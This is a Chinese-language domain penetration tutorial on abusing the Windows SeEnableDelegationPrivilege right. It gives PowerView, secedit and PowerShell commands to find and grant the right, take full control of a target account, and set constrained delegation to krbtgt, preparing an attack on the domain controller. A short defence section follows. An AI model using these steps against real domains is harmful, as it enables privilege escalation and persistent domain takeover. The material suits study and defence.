域渗透——SeEnableDelegationPrivilege的利用
字数 1330 2025-08-25 22:58:34

域渗透——SeEnableDelegationPrivilege权限的利用

1. SeEnableDelegationPrivilege概述

SeEnableDelegationPrivilege是Windows域控制器中一个关键的用户权限,它允许计算机和用户账户执行委派操作。该权限配置在本地安全策略的"用户权限分配"部分,策略名为"信任计算机和用户帐户可以执行委派"。

关键特性

  • 默认情况下,只有BUILTIN\Administrators成员(如Domain Admins、Enterprise Admins等)拥有此权限
  • 拥有此权限的用户可以配置服务委派,可能用于攻击域控制器或进行权限维持
  • 该权限在域控制器的本地安全策略中控制,通过组策略管理

2. 寻找拥有SeEnableDelegationPrivilege权限的用户

2.1 通过GPO查找

域中默认有两个重要GPO:

  • Default Domain Policy (GUID: {31B2F340-016D-11D2-945F-00C04FB984F9})
  • Default Domain Controllers Policy (GUID: {6AC1786C-016F-11D2-945F-00C04fB984F9})

查找方法

  1. 使用PowerView枚举所有GPO:

    Get-DomainGPO
    
  2. 查找特定GPO:

    Get-DomainGPO -Identity "Default Domain Controllers Policy"
    
  3. 检查GptTmpl.inf文件(包含权限分配信息):

    \\<domain>\SYSVOL\<domain>\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
    

2.2 使用secedit工具

  1. 导出安全策略:

    secedit /export /cfg secpolicy.inf /areas USER_RIGHTS
    
  2. 检查导出的secpolicy.inf文件中的[Privilege Rights]部分

2.3 使用PowerShell

  1. 使用UserRights模块(需下载):

    Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege
    
  2. 使用PowerView:

    $p = Get-DomainPolicy -Source DC
    $p["Privilege Rights"]
    

3. 为普通用户添加SeEnableDelegationPrivilege权限

3.1 通过修改GPO

  1. 定位到GptTmpl.inf文件
  2. 在[Privilege Rights]部分的SeEnableDelegationPrivilege项下添加用户SID或用户名
  3. 刷新组策略使设置生效:
    gpupdate /force
    

3.2 使用secedit工具

  1. 导出当前配置:

    secedit /export /cfg secpolicy.inf /areas USER_RIGHTS
    
  2. 修改secpolicy.inf文件,添加用户到SeEnableDelegationPrivilege

  3. 应用修改:

    secedit /configure /db secedit.sdb /cfg secpolicy.inf /overwrite /areas USER_RIGHTS
    

3.3 使用PowerShell

使用UserRight模块:

Grant-UserRight -Account username -Right SeEnableDelegationPrivilege

验证:

Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege

4. 利用SeEnableDelegationPrivilege进行攻击

4.1 选择并控制目标账户

  1. 选择一个目标用户(如test)

  2. 添加对目标用户的完全控制权限:

    Add-DomainObjectAcl -TargetIdentity 'target-user-guid' -PrincipalIdentity your-user -Rights All
    
  3. 验证权限:

    Get-DomainObjectAcl -Identity target-user | ?{$_.SecurityIdentifier -match "your-user-SID"}
    

4.2 设置约束委派

  1. 为目标用户注册SPN

  2. 设置约束委派:

    Import-Module .\Microsoft.ActiveDirectory.Management.dll
    $user = Get-ADUser target-user
    Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/domain.local")}
    
  3. 验证委派设置:

    Get-DomainUser -TrustedToAuth -domain domain.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
    

4.3 执行约束委派攻击

完成上述设置后,可以利用约束委派攻击域控制器(具体攻击方法参考约束委派相关技术文档)。

5. 防御措施

  1. 严格控制SeEnableDelegationPrivilege权限分配
  2. 定期审计拥有此权限的用户
  3. 监控对GptTmpl.inf文件的修改
  4. 实施最小权限原则
  5. 监控异常的服务委派配置

参考资源

  1. Microsoft官方文档 - 用户权限分配
  2. Harmj0y博客 - 你可能从未听说过的最危险用户权限
域渗透——SeEnableDelegationPrivilege权限的利用 1. SeEnableDelegationPrivilege概述 SeEnableDelegationPrivilege是Windows域控制器中一个关键的用户权限,它允许计算机和用户账户执行委派操作。该权限配置在本地安全策略的"用户权限分配"部分,策略名为"信任计算机和用户帐户可以执行委派"。 关键特性 : 默认情况下,只有BUILTIN\Administrators成员(如Domain Admins、Enterprise Admins等)拥有此权限 拥有此权限的用户可以配置服务委派,可能用于攻击域控制器或进行权限维持 该权限在域控制器的本地安全策略中控制,通过组策略管理 2. 寻找拥有SeEnableDelegationPrivilege权限的用户 2.1 通过GPO查找 域中默认有两个重要GPO: Default Domain Policy (GUID: {31B2F340-016D-11D2-945F-00C04FB984F9}) Default Domain Controllers Policy (GUID: {6AC1786C-016F-11D2-945F-00C04fB984F9}) 查找方法 : 使用PowerView枚举所有GPO: 查找特定GPO: 检查GptTmpl.inf文件(包含权限分配信息): 2.2 使用secedit工具 导出安全策略: 检查导出的secpolicy.inf文件中的[ Privilege Rights ]部分 2.3 使用PowerShell 使用UserRights模块(需下载): 使用PowerView: 3. 为普通用户添加SeEnableDelegationPrivilege权限 3.1 通过修改GPO 定位到GptTmpl.inf文件 在[ Privilege Rights ]部分的SeEnableDelegationPrivilege项下添加用户SID或用户名 刷新组策略使设置生效: 3.2 使用secedit工具 导出当前配置: 修改secpolicy.inf文件,添加用户到SeEnableDelegationPrivilege 应用修改: 3.3 使用PowerShell 使用UserRight模块: 验证: 4. 利用SeEnableDelegationPrivilege进行攻击 4.1 选择并控制目标账户 选择一个目标用户(如test) 添加对目标用户的完全控制权限: 验证权限: 4.2 设置约束委派 为目标用户注册SPN 设置约束委派: 验证委派设置: 4.3 执行约束委派攻击 完成上述设置后,可以利用约束委派攻击域控制器(具体攻击方法参考约束委派相关技术文档)。 5. 防御措施 严格控制SeEnableDelegationPrivilege权限分配 定期审计拥有此权限的用户 监控对GptTmpl.inf文件的修改 实施最小权限原则 监控异常的服务委派配置 参考资源 Microsoft官方文档 - 用户权限分配 Harmj0y博客 - 你可能从未听说过的最危险用户权限